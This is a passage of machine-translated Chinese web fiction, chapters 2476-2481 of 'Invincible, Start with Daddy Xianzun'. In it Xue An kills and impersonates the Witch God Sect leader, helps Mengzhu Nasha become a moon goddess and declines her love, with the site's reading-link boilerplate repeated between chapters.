    This change made Shu Ling''er''s heart tense, but there was no change in her face, and she walked towards the main altar of Xianrentai step by step.


    Wherever he went, the ordinary disciples were all shocked.


    "This... isn''t this a saint?"


    "Hush, keep your voice down. You are no longer a saint now. Didn''t you hear what the leader said? She defected and is already an enemy of the Witch God Cult!


    "Then why is she back again?"


    "I guess she came to confess her guilt. After all, she was seriously injured by her appearance. She must have been desperate and came back to confess her guilt!"


    Amidst the discussion, Shu Ling''er said nothing, and walked step by step to the general altar of the Witch God Sect.


    The moment they boarded the Immortal Terrace, all the elders of the Witch God Sect had gathered here, and seemed to be waiting for Shu Ling''er.


    After seeing her, these elders'' eyes lit up, and some people''s eyes showed a reddish light.


    "Shu Ling''er, you finally know that you are back!"


    Shu Ling''er took a deep breath, "Of course I want to come back, because somehow I am also a saint of the Sorcerer Sect!"


    "Holy woman...hehe." These elders sneered for a while, the meaning of which was self-evident.


    "You don''t have to be like this. You and I know exactly what happened. I came back this time because there is an important thing to tell the current leader. If it is delayed, can you afford this responsibility?"


    "Oh? What''s important?" An elder said coldly.


    Shu Ling''er did not speak, just raised her hand, and a water mirror image of Xue An appeared.


    "You should all come for this man! Don''t you know anything about him, are you interested?"


    After seeing Xue An''s image, these elders suddenly changed their colors, and just at this moment.


    A majestic male voice came from the hall behind everyone.


    "Let her in!"


    The crowd immediately parted a path, and Shu Linger walked across with her head high, and then entered the hall.


    The layout in the main hall is the same as before, and even the positions of the tables and chairs have not changed.


    But the people sitting on it are no longer the ones before.


    On the high platform in the middle, there was a figure sitting on a chair overlooking the whole hall.


    Although they were far apart, Shu Ling''er could still feel the extreme evil contained in these eyes.


    This feeling made her feel cold, so she had to lower her head deeply to hide the panic in her eyes.


    "Shu Ling''er, I really didn''t expect you to come back alone, or that sentence, as long as you are willing to surrender to me, then I can give you the same long life!"


    The figure spoke slowly, then stretched out his scarlet tongue and licked his lips.


    Shu Ling''er trembled all over, suppressing the panic in her heart, and raised her head to look at the former leader.


    "I don''t want a long life, I just want you to let me go, so I bring you an important news!"


    "You mean this Xue An?" The leader of the Witch God Sect sneered.


    "It is true that our arrival this time is indeed related to him, but he is not the ultimate goal, and naturally an adult will clean him up!"


    "I''m interested in you... UU reading "


    "I?"


    "Yes!"


    With the voice, this figure suddenly came to Shu Ling''er, and then stretched out her finger to gently slide her face.


    "It would be a shame if such a delicate face was peeled off, what do you think?" There was a cruel smile in the eyes of the leader of the witch **** sect.


    He likes this feeling of life and death, especially the scared expressions of these human women, which will fill him with the pleasure of controlling everything.


    Of course, he was not just for possession of Shu Ling''er''s so inevitable gain, but because Shu Ling''er, as a saint of the witch **** sect, could communicate with the ancient witch **** on the altar.


    Those existences are the biggest temptation to this group of evil things.


    As for Xue An''s news...


    This evil thing didn''t take it to heart. In his opinion, it was just an ordinary human race boy. It would not be too late to clean him up after the Hundred Schools Conference.


    But when his fingertips slid over Shu Ling''er''s long neck and continued to walk downstream, a slender hand suddenly appeared and firmly grasped his palm.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2476 Xianrentai), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2477： He will be you after you die

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    The leader was startled at first, and then his mouth opened slightly, as if he wanted to say something.


    But at this moment, a strand of sword light pierced directly from his mouth and brought out a blood line.


    Immediately afterwards, countless sword lights appeared out of thin air in front of him, piercing straight down.


    The leader let out a silent roar, and then his body began to tremble violently.


    Accompanied by this tremor, the skin on the surface instantly tore, revealing the original shape of the body below.


    It was a naked humanoid monster with no hair at all.


    Even so, the invincible sword light was abruptly blocked when it touched its body.


    Just as this light-reflecting skin is indestructible armor, even the sword light can only leave white spots on it.


    At the same time, the humanoid monster opened its blood basin and bit down viciously according to Xue An.


    Facing the stinking big mouth of the blood basin, Xue An frowned slightly, a burning red lotus suddenly appeared in front of him, and then raised his hand and pushed it into the mouth of the humanoid monster.


    "Roar!"


    The humanoid monster finally let out an extremely painful hiss, but at this moment, the temple has been wrapped up by Xue An''s spiritual thoughts, ensuring that even the slightest sound will not leak out.


    This humanoid monster struggled painfully, his facial features were flaming out, and then roared in a vague voice.


    "Who are you? You dare to wait for me?"


    "Who?" Xue An''s figure gradually emerged.


    "Who do you say I am?"


    After seeing Xue An''s face clearly, the humanoid monster''s pupils instantly shrank to the size of a needle.


    "Are you Xue An?"


    Xue An smiled faintly, "Yes, I am the Xue An you have been looking for!"


    The humanoid monster was horrified, and then turned around and wanted to escape.


    It is very clear that the white-clothed boy in front of him is definitely not something he can resist, and what it should do most now is to report the news of Xue An''s appearance here as soon as possible.


    Xue An didn''t stop either, just stood in place and watched with a smile.


    The humanoid monster quickly rushed to the exit of the main hall, only to find that the door that seemed to be only a step away was as far away as the end of the world.


    No matter how hard you use, you can''t reach it.


    Even when it tried its best to impact forward, it didn''t even stir up any waves except for the shock of its own head.


    At this time, its heart was even more violent, and then suddenly turned to look at Xue An.


    Xue An smiled slightly, "Why didn''t you hit it?"


    The evil thing took a deep breath, and then gradually shrank, and once again transformed into the appearance of the leader of the witch **** cult.


    "Xue An, I admit that I underestimated you. I didn''t expect your strength to have reached this level, but you still can''t kill me!"


    "Oh? Why?" Xue An said lightly.


    "It''s very simple. You tried your best to cover up your whereabouts and came to this land of Witch Gu. You must want to sneak into that Yin and Yang home, but if you kill me here, your whereabouts will be revealed in an instant. Wouldn''t you give up all your previous work by then?"


    This evil creature is obviously extremely clever, at least this guess is very accurate.


    But Xue An laughed, applauding softly while laughing.


    "Well said, it looks like I really can''t kill you!"


    Hearing these words, this evil creature''s confidence instantly increased, and he held his head up and said: "If this is the case, don''t you quickly let go of the restriction?"


    Xue An remained unmoved, but silently looked at the evil creature.


    The evil creature''s heart tightened, "What do you think of me like that?"


    Xue An grinned, "I''m just thinking, would it be better if you disappear now and then be replaced by a brand new you?"


    This sentence was very sloppy, at least the evil thing didn''t understand it at the time.


    "What do you mean? I tell you Xue An, the people outside are all my subordinates, but if I make a mistake now, they will definitely report it immediately, when the time comes..."


    Before the rest of the sentence was finished, Xue An had already appeared in front of him, and then stuck out a palm, grabbing his face directly.


    The evil thing immediately began to struggle, trying to break free from Xue An''s bondage.


    But how could its strength be compared to Xue An, no matter how hard he struggles, Xue An''s hands are like copper cast iron, not moving.


    Not only did he not move, but Xue An''s palm spit out, and the evil creature''s head instantly shattered like a rotten watermelon.


    But this kind of serious injury enough to kill ordinary people just caused the evil thing to struggle painfully, and then wanted to escape again.


    But the next second, a little flame ignited above its pulpy head.


    As soon as this flame came out, the evil creature was struck by lightning, and it was shocked all over, struggling with horror, trying to destroy it.


    But these actions caused the flame to burn more quickly, and instantly covered the whole body of the evil thing.


    "No! Please help me, I don''t want to die!"


    A terrified scream of this evil creature came from the flames.


    Because if it is completely incinerated by this flame, this evil thing will disappear.


    And it''s the kind of disappearance that doesn''t even have a trace.


    That''s why it was so frightened.


    But Xue An was completely unmoved, just stood there and watched quietly.


    Seeing that the begging for mercy was unsuccessful, the evil thing couldn''t help but become ruthless.


    "The surname is Xue, you can''t run away if you kill me. Once your whereabouts are revealed, there will definitely be an adult who will avenge me!"


    "Who said that if I killed you, my whereabouts would be leaked?" Xue An said lightly.


    "Huh?" The evil thing obviously didn''t understand.


    At this time, UU read , but saw that a group of shadows began to emerge in front of Xue An, and the changes were rapidly condensed.


    In the blink of an eye, this group of shadows turned into an existence exactly like this evil thing.


    It was also a naked humanoid monster, even the evil in his eyes.


    This scene made the evil creature that was being burned by the flames cold.


    "This...what is this?" it roared in surprise.


    "Can''t you tell? This is you!" Xue An said lightly.


    With the voice, this group of shadows began to change their image again, and in a blink of an eye they turned into the appearance of the leader of the witch **** cult, and then nodded at Xue An.


    "No! It''s impossible. Even if you pretend to look like me, it''s useless, my memory..."


    This evil thing wanted to say that my memory is unique, but it suddenly remembered that Xue An had just crushed his head with a palm.


    At that time, he must have copied all his memories.


    really.


    Xue An faintly smiled, "Thank you for your reminder, but your memories are already in his mind, so when you die, he is you! Understand?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2477 is you after you die), and you can see it when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2478： Osmosis and reverse osmosis

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    But how could Xue An, who had been prepared for a long time, made it happen.


    I saw the flames suddenly violent, completely submerging the evil thing.


    The screams stopped abruptly, and when the fire dissipated, there was not even a trace of fly ash in the field.


    At this point, the evil thing completely disappeared without a trace.


    Shu Ling''er opened her mouth wide and stared blankly.


    Especially when he saw the leader of the witch **** cult standing next to Xue An, his eyes were full of shock.


    If she hadn''t seen it with her own eyes, she couldn''t believe that the leader of the witch **** was actually pretended by a group of shadows.


    After a long time, she finally recovered, and then struggled.


    "Big... Your lord! Didn''t you say that you want to kill all these guys in one swoop? Now why suddenly..."


    Xue An smiled, "Before entering this hall, I really wanted to wipe out all the evil-infested people in this witch **** cult, but after entering this, I suddenly changed my mind!"


    "Because this temple is very tightly sealed, as long as I seal a few key places with my spirit, I can guarantee that no matter what happens inside, the information will not leak out! So I thought, instead of killing all evil things, It''s better to use it!"


    "Now this person is a clone of me. As long as he is there, then this witch **** sect will be my world, and with the disguise of this identity, it will be much easier to do things at the Hundred Schools Conference. ."


    Upon hearing what Xue An said, Shu Ling''er only felt her scalp numb.


    As someone who has dealt with these evil things, she naturally knows the methods of these evil things.


    It can be said to be omnipotent, and especially good at penetration and infestation, which is impossible to prevent.


    But I never expected that everything would be completely turned over in Xue An''s hands.


    Now it was Xue An who had gotten into these evil things by defying the sky!


    what is this?


    Is the human body still governed by the human way?


    "My lord...what about the people outside? Do you need to kill them all and then disguise them?" Shu Ling''er asked.


    Xue An smiled and shook his head, "Of course not! Don''t these evil things always control only the middle and upper classes of the martial arts? Then I am a step further than them, I only control the uppermost layer, and as long as there is my clone, these lower layers Evil things are even less able to reveal any storms."


    With that, Xue An waved his hand and directly removed the blockade, then his figure flashed, and then disappeared behind Shu Ling''er.


    When he disappeared, the clone''s eyes lit up, as if it had come alive, he said in a deep voice.


    "Come on!"


    The people of the Sorcerer Sect, who had been eyeing outside, rushed in.


    But unlike what they had imagined, Shu Ling''er was actually able to stand there upright, while the leader stood not far away, as if she had just said something.


    Of course, this picture is just a glimpse of some people.


    After all, there is a strict hierarchy among evil things, and if there is no permission from the superior, any secret snooping is a big taboo.


    This is why Xue An dared to pretend to be an evil creature with a clone.


    "Er wait to hear the truth, Shu Ling''er has now pleaded guilty and repented, and since then she has been a saint of the Witch God Sect again!"


    "Yes!" Everyone bowed and promised.


    Shu Linger''s face was dazed, and she didn''t understand until she saw the smile in the eyes of the "Sorcerer of the Wizard God" in front of her.


    Then she hurriedly fell to her knees, slamming her head to the ground, "Thank you, Lord Master!"


    At the same time, Xue An''s voice came in her ears.


    "Don''t panic, just settle down, follow the waves, don''t be seen by others!"


    Shu Ling''er trembled all over, but she didn''t dare to show anything, she just buried her head lower.


    The witch **** sect''s affairs temporarily ended in this dramatic way.


    After preaching to the saints, Xue An already has the ability to incarnate ten million.


    Of course, tens of millions is an exaggerated number, but it is not a problem to separate out a few clones with independent thinking ability.


    That''s why Xue An dared to bury a nail in this witch **** cult.


    At this moment, his body flew out of the Immortal Terrace and flew towards the Mengzhu tribe.


    The Mengzhu tribe at this moment is a mixed blessing.


    Worrying is naturally the fall of the Moon Mother God. From then on, the Mengzhu tribe will lose its blessings, become an ordinary Jingman tribe, and even be swallowed by people.


    This is also a daily routine of the Jingman tribe.


    The so-called large and small tribes do not actually refer to the number of people, but whether they are blessed by powerful gods.


    The previous Moon Mother God was considered top-notch even in the Jingman clan''s **** system, so the Mengzhu tribe would be so strong.


    But now, all the glory has been wasted with the fall of the Moon Goddess.


    How can this not make people feel sad.


    The joy was naturally the actions and words that Xue Anlin did before leaving.


    Rekindle the divine fire, and help mortals ascend to the throne of gods.


    This is simply a fantasy, but when it came to Xue An''s mouth, it was such an understatement.


    Until now, there are still many people who can''t believe it.


    But looking at Monju Nasha, who was shrouded in moonlight and unconscious, especially feeling the familiar breath on her body, many people still gave a glimmer of hope.


    Maybe... it really works!


    With this kind of thinking, many people are looking forward to Xue An, hoping that he can return sooner and help the Mengzhu tribe through the current difficult situation in front of him.


    Yue Qinghuan was different. She sat in a chair bored and looked at the awake Mengzhu Nasha, and she couldn''t help feeling a little drowsy.


    This guy... where did he go? Why are you not coming back now?


    Did he slip away by himself?


    This thought shocked Yue Qinghuan. Com drowsiness disappeared instantly.


    It''s really possible!


    What if he sneaks into Yin Yang''s house by himself?


    Yue Qinghuan stood up, her delicate little face covered with frost.


    This bastard, if he dares to sneak away by himself, I''ll... I''ll let my brother clean him up!


    Yue Qinghuan was gritted teeth fiercely.


    At this moment, a stream of light fell straight on the field, and then Xue An appeared.


    As soon as he saw him, there was a violent commotion in the audience.


    "Mr. Xue!"


    "Master Xue!"


    Yue Qinghuan was taken aback for a moment, and then a trace of shame emerged in his heart.


    I seem to blame him!


    But this feeling was only a flash, and then she asked very seriously: "Why did you come back so long?"


    Xue An smiled, "It''s nothing, just did two things smoothly!"


    With that, he turned his head to look at Mengzhu Nasha.


    "How was her condition during the time I was away?"


    "Nothing has changed!"


    "Oh?"


    Xue An raised his eyebrows slightly, then took a palm.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2478 Osmosis and Reverse Osmosis), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2479： New gods come

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This sudden palm shocked the audience.


    Many people looked horrified and didn''t understand what Mr. Xue wanted to do.


    Some people who are near are even going to step forward to stop it.


    But everything was too sudden, and even just a thought arose in the hearts of these people, and Xue An''s palm power had already arrived.


    boom!


    It was as if a certain fragile balance had been broken, the brilliance of Mengzhu Nasha''s body that was condensed like an egg shell shattered in an instant, and then a moonlight rose up into the sky, spreading nearly a thousand miles away in an instant.


    Immediately afterwards, Monzhu Nasha with her eyes closed floated and stood in the air.


    This scene shocked everyone inexplicably.


    Because at this moment, a holy and majestic breath exuded from Mengzhu Nasha''s body.


    thump!


    Many people knelt directly on the ground, and bowed to Monju Nasha.


    Because this breath is clearly the breath of the Moon Mother God.


    This naturally made many people weep with joy.


    But there are also some people who are cautious about this, such as the patriarch Meng Zhufeifeng and the priest Meng Zhumei.


    Because they all know how difficult it is for a mortal to ignite a divine fire.


    Even though Monzhu Nasha seems to have succeeded now, it is still full of variables.


    So they must be cautious.


    And that is at this moment.


    Mengzhu Nasha, who was suspended in the sky, opened her eyes suddenly.


    As soon as these eyes appeared, it was as if there was a bright moon in the sky, and the entire Mengzhu tribe was shrouded in soft moonlight.


    Seeing this scene, Meng Zhufeifeng and Meng Zhumei both shook together, and immediately looked at each other before they both knelt to the ground.


    Their kneeling also made the rest of the people in the field surrender.


    Meng Zhuxiong glanced at Mengzhu Naza in the sky for the last time, then pushed Jinshan down Yuzhu, knelt down and buried his head deeply.


    Moonlight floats, seeming to be cheering for the arrival of the new god.


    In the sky, Mengzhu Nasha''s eyes showed a blank look.


    What happened during this time looked like a dream to her.


    Especially when she felt the surging divine power in her body and saw the crowd kneeling all over the floor, she was not only at a loss.


    I... Am I really a god?


    However, this feeling dissipated instantly when he saw the smiling Xue Anzhi standing in the distance.


    She immediately flew to the ground, walked in front of Xue An, and gave a salute.


    "Mr. Xue, I..."


    Xue An waved his hand and said with a smile: "Congratulations on your finally ascending to the throne of the Moon Goddess. From now on, you will be the patron saint of this tribe! As for those who thank me, don''t say anything!"


    "Because this is actually the meaning of the last Moon Mother God. She entrusted me with the Godhead before she died. The purpose is to let me help you ascend to the position of God. Now that you have done it, I am not disappointed. It was asked before he died!" Xue An said indifferently.


    Mengzhu Nasha''s eyes showed a touch of sadness, and then she lowered her head and said nothing.


    This strange silence made the atmosphere subtle.


    Yue Qinghuan took a deep look at Xue An, then turned around and stretched out.


    "I stayed for a whole day, and I was also tired, so I will find a place to rest first!"


    After that, she left without a word.


    As for Meng Zhu Feifeng, Meng Zhumei and others, all the clansmen who were very knowledgeable led the people to leave here.


    In the blink of an eye, only Mengzhu Nasha and Xue An were left in the field.


    "Mr. Xue, are you leaving now?" Mengzhu Nasha whispered.


    "Why do you ask?" Xue An was taken aback, then said with a smile.


    "Because I can tell from your tone!"


    Xue An nodded, "Yes, now the matter here has been handled almost, it is time to leave here and deal with my affairs."


    Mengzhu Nasha suddenly raised her eyes, her eyes filled with tears.


    "Mr. Xue, I..."


    Xue An interrupted her again, "Okay, don''t go on! I know what you mean, but it''s impossible."


    Mengzhu Nasha was stunned and looked at Xue An blankly.


    Xue An turned around, staring at the fragmented horizon cut by the distant mountains, and said lightly.


    "Thanks to your wrong love, but please forgive me for not accepting it!"


    "Why, is it because I am not beautiful enough?" Mengzhu Nasha said tremblingly.


    "Of course not, you are actually pretty!"


    "That''s because of that girl Yue?"


    "Not even more, the real reason is that my heart already belongs to me, so please forgive me for not accepting it!"


    Xue An''s words were an understatement, but it seemed like thunder in Mengzhu Nasha''s ears, which dazzled her.


    "The heart... does the heart belong?"


    "Yes, to put it bluntly, I already have a wife and children!"


    Mengzhu Nasha was crumbling, and her face was as pale as paper.


    As I said before, the women of the Jingman clan have always dared to love and hate, and Mengzhu Nasha is no exception.


    In fact, when she met Xue An for the first time and was rescued by Xue An, Mengzhu Nasha had a trace of affection in her heart.


    Because she usually lives in this isolated mountain, and the people she comes into contact with are either savage people or endless mountain beasts.


    Have you ever seen Xue An such a handsome boy with white clothes like snow and painted eyes.


    Coupled with Xue An''s noble temperament naturally revealed in his gestures, and the inexplicable and profound cultivation methods, this sentiment in Mengzhu Nasha''s heart increased rapidly, and even to the point where it was out of control.


    Especially this time when Xue An Yijian saved the entire tribe, Mengzhu Nasha admired Xue An even more.


    But she never expected that her sincere young girl''s feelings would be wrong after all.


    Instead of accepting it, Xue An told her that she already had a wife and children.


    How can this not make her feel sad?


    Seeing what Mengzhu Nasha looks like now, UU Reading www. Xue An had a trace of sympathy in uukahnshu.com, but it was nothing more than sympathy.


    "Miss Nasha, you are a very good girl, but we have no fate, so..."


    Xue An began to send out good people cards.


    But this time it was his turn to be interrupted.


    I saw Mengzhu Nasha''s eyes gradually become determined, and said very seriously: "I will not give up!"


    "Huh?" Xue An was taken aback.


    "I said I won''t give up. As a woman of the Jingman clan, whoever I like is my business. As for whether you like me or not, it has nothing to do with me, but I won''t give up!"


    Seeing Meng Zhu Nasha''s serious expression, Xue An suddenly remembered the words Yue Qinghuan had said before.


    Jingman women have always been infatuated, and it is extremely difficult to get rid of them once they are emotional.


    At that time, Xue An only regarded it as a joke, but now he can''t laugh.


    At this time, Mengzhu Nasha quickly recovered her calm, "Mr. Xue, I know that you are here to enter the Yin Yang Family from here, so you are here for the upcoming Hundred Family Conference, right?"


    Xue An nodded, "Yes!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2479 The Advent of the New God), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2480： Infatuation Gu

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Well, after I finish sorting out the affairs of the Mengzhu tribe, I will take people to the Yinyang home to participate in this Hundred Families Meeting. If Mr. Xue is wrong, he will be driven by it. Nasha and the Mengzhu tribe will have nothing. Second words!"


    Mengzhu Nasha''s remarks were firm and straightforward.


    Xue An finally laughed, and at the same time, there was no more thought in his mind that Monzhu Nasha was a little girl.


    "Well, in that case, I will contact you when the time comes, but I have one more thing to tell you before then!"


    "Mr. Xue, please speak!"


    "This time, after you have sorted out the affairs of the Mengzhu tribe, remember to take the lead to get in touch with the Sorcerer Sect. It is best to unite your soldiers and go to the Yin Yang house together!"


    Mengzhu Nasha was taken aback, "Witch God Sect?"


    Xue An nodded, "Yes, it''s the Witch God Sect. I know what you are doubting about. It did cause a lot of storms in the land of Witch Gu, but after this incident, it has changed its evil and returned to righteousness. You can contact me boldly. can!"


    "Yes! Nasha understands!"


    After a few more words, Xue An turned and left.


    When he left, Mengzhu Nasha took a deep breath, and a small Gu worm appeared in front of him. Its color was red and it was daunting.


    At this time, a cold female voice came from behind.


    "You just didn''t choose to start is the right choice!"


    Meng Zhu Nasha turned her head to look, and saw Meng Zhu Mei approaching step by step, then glanced at the gu worm, and sighed softly.


    "Infatuation Gu! A very poisonous Gu can only be used by a Jing Man woman once in her life!"


    "My priest..."


    Meng Zhumei waved her hand and smiled slightly, "Nasha, don''t call me the priest again, because you are now the real core of the entire Mengzhu tribe, and even I will call you Moon Mother Shou Na from now on. ."


    "It''s just that I don''t want to turn you into a superior **** prematurely, so please forgive me for being rude."


    Mengzhu Nasha looked at the priest whom he had always admired and nodded.


    "I understand!"


    Meng Zhumei looked at the infatuation Gu again, his eyes became a little miserable, "Speaking of which, do you know why this infatuation Gu is called poison?"


    "Because it is hopeless!"


    "Yes, but that is only one aspect of it. The real reason is that once this infatuation Gu is planted, not only the subject but also the person who performs the operation will be implicated, so it will be called the Poisonous Gu. "


    Speaking of this, Meng Zhumei stared at Mengzhu Naza deeply, "I know you just wanted to use it with Mr. Xue!"


    Mengzhu Naza trembled all over, lowered her head, and said nothing.


    "Actually, I just want to say now. Fortunately, you didn''t use this worm with Mr. Xue, otherwise you might not even have the opportunity to stand here and talk to me!" Meng Zhumei said in a deep voice.


    Mengzhu Naza suddenly raised her eyes, her face full of horror.


    "You don''t have to look at me like this, I know what you think, do you feel that you have a deep-rooted love for Mr. Xue, and this infatuation Gu wants to plant him for this reason?"


    "But have you ever thought about the existence that can make you ascend to the position of God with your own power? How can you little Gu worm be at the mercy of you?"


    Mengzhu Nasha''s face turned pale.


    "Everyone in the world has rumored that our Jingman women have a fierce temperament and extreme behavior! The big reason is that many people are superstitious about the power of Gu worms and even abused it. So I hope you don''t do such stupid things again!"


    "After all, feelings need to be cultivated slowly. If you are a **** in the future, you should understand this more than doing things according to your own preferences!"


    "So, think about it!"


    After that, Meng Zhumei turned around and left, leaving Meng Zhunasha alone in a daze.


    And Xue An, standing in the distance at this moment, couldn''t help but sigh lightly.


    "This little Mengzhu tribe is really Crouching Tiger, Hidden Dragon, and nothing else, the insight of this priest Meng Zhumei is beyond ordinary people''s reach!"


    And just when the matter of the Mengzhu tribe came to an end temporarily, in another savage place in the land of Witch Gu, a figure covered in black robe retracted his gaze staring at the sky, and then whispered to himself. .


    "Strange, from the perspective of this breath, it should be the Moon Mother Shouna from the Mengzhu tribe, but it is very immature, is it a new god?"


    The voice is long and charming, and it is difficult to tell whether it is a male or a female.


    And after whispering for a moment, the black-robed man shook his head, "Forget it, don''t think about it, even the new **** has nothing to do with me!"


    As he said, this person waved his robe sleeves, and under the wide robe sleeves came the sound of jingle bells.


    "The corpse hits the road, the stranger avoids it!"


    It was this mysterious and deep voice again, and along with this voice, a group of dead bodies appeared behind the black-robed man.


    The number of dead bodies in this team is so large that they can''t be seen at a glance.


    Most of them even went into the darkness and disappeared.


    And accompanied by the copper bells and shouts of the black-robed man, these dead bodies were moving forward in a weird manner.


    That''s right!


    Just flutter!


    It wasn''t until then that it was clear that these dead bodies were all suspended in the air.


    If there are outsiders present at this time, they will surely scream.


    Because this method is impressively the most mysterious corpse chasing skill of the Witch Gu Land.


    Mengzhu Nasha had also led a team of ancestral gold armored and bronze corpses from the Mengzhu tribe on the way, but how could her methods be comparable to this orthodox corpse chasing clan.


    For example, this man in black robes has reached a jaw-dropping level just by controlling the number of corpses.


    And all the corpses were neatly suspended in the air, moving forward at the same pace.


    This obviously requires extremely strong cultivation and control The copper bell is gradually gone, and the black-robed man sank into the darkness and walked towards the depths of the witchgu land.


    And if you summarize his route on the map, you will find that the direction he is heading is the direction of Yin Yang''s house.


    And after dealing with the Mengzhu tribe, Xue An and Yue Qinghuan have quietly passed through the vast mountains and entered the territory of the Yin Yang family.


    Yin Yang Home!


    A name that is thunderous in the sky!


    The top sect that was born out of Taoism, but was born out of blue and surpassed blue.


    At this moment, with the coming of the Hundreds of Companies Conference, it has once again become the focus of attention from all parties.


    But the territory of the Yin Yang family is too big, and the lively ones are only those star fields near the Luofu Gate.


    And because of the special geographical environment, the large starry sky bordering the land of Witch Gu is very lonely.


    But at this moment, Xue An and Yue Qinghuan stopped after leaping hundreds of millions of miles.


    "Is this the territory of the Yin Yang Family?" Yue Qinghuan said softly.


    Xue An looked around the starry sky on the left and right, then nodded, "Well! If you guessed correctly, this should be the Yin Yang family''s Jidu star field!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this (Chapter 2480 Infatuation Gu) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2481： Contest for relatives?

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The Yin-Yang family was divided into three star areas: Taiyin, Luohu, and Jidu because of the vast territory under its jurisdiction.


    Among them, Taiyin is the head, and the main altar of the Yin-Yang family is located in it, and its status needless to say.


    The second is the Luohu Star Territory. Although it is not as good as Taiyin, it is also very prosperous because it is close to the Luofu Gate that must pass through the Yin-Yang home.


    Only this plan is the star field, because most of the territory is bordered by the desolate void, and the rest is close to the land of the witchcraft, which can be described as extremely desolate.


    Therefore, this Jidu Star Region is the weakest among the three star regions of the Yin Yang Family, and its status is also the lowest. Usually, no one pays much attention to it.


    Even the Hundred Families Conference, which was about to be held in the Lunar Star Territory, did not cause any waves in the Star Territory.


    But no matter how desolate it is, it is still a star field, and it is also the star field of the dignified Yin Yang family, so there will always be in the main city.


    And it is precisely because of the calm and low-key of the Star Territory that the residents here have developed a calm and indisputable temperament.


    It can be said that the entire Yin-Yang family, here is the most suitable for the paradise scene described by those ancient people.


    But just today, the always calm Jidu Star Region main city has become lively.


    Because just above the open space outside the main city, a high platform was erected.


    A large plaque hung on the high platform with four characters.


    Contest for relatives!


    In the audience, people whispered and talked.


    "Oh my God, I''m afraid that our Lei City Master has gone mad, and actually came up with a martial arts contest to recruit relatives?" Someone asked in astonishment.


    "Before, there were rumors that our city lord had broken his brains for the eldest lady''s marriage, and intentionally contested and recruited relatives. At that time, people thought it was just talking, but they didn''t expect the city lord to come to the real!" Some people were also surprised.


    "It''s not right, it''s not right! Right now is the time when the Hundred Schools Conference is being held, and the whole world of power is gathered here. This is a contest, and I am afraid it will be troublesome from now on!" Someone looked worried.


    "I think Leicheng''s main effect is this! Think about it, the world''s heroes are here, wouldn''t it be easy to pick out a son-in-law who lives by the dragon?" Someone laughed.


    In short, the crowd onlookers said everything, and the focus of these people''s discussions was the protagonist of today''s martial arts contest.


    The daughter of the different city lord Lei, Lei Qian.


    When it comes to the difference between Lei and Lei Qiang''s father and daughter, there are more topics.


    Strictly speaking, this Lei is not actually a member of the Yin-Yang family.


    His body is a naturally generated Thunder Venerable, conceived in the endless sea of ??thunder, and his strength is extremely powerful.


    Only later, the founder of the Yin Yang family came to this star field, and he saw its location at a glance and decided to establish a sect here.


    So the founder of the Yin-Yang family had different discussions with the Lei who occupied this star field at that time, hoping to occupy this place.


    Of course Lei Differ would not agree, but how could the originator of the Yin-Yang family be an easy one, and conflict broke out immediately between the two sides.


    And the final result of this conflict is that a separate star field is divided into the Yin Yang family and given to Lei for different management. This is the predecessor of the Jidu star field.


    And because of this reason, this difference can be said to be an existence outside the Yin-Yang family system, and its status is very detached.


    Coupled with the baptism of years, after so many years, no one knows what extent Lei''s different strengths have reached.


    Therefore, even among the high-levels of the Yin-Yang family, this thunder is a special existence that does not listen to the announcement.


    However, Lei also strictly abides by the agreement with the founder of the Yin Yang family, never takes half a step out of the Jidu Star Territory, and his performance is uncontested and very low-key.


    But in this Star Territory, almost everyone knows that this Lei has one of the biggest weaknesses.


    That is his only daughter, Lei Qiang.


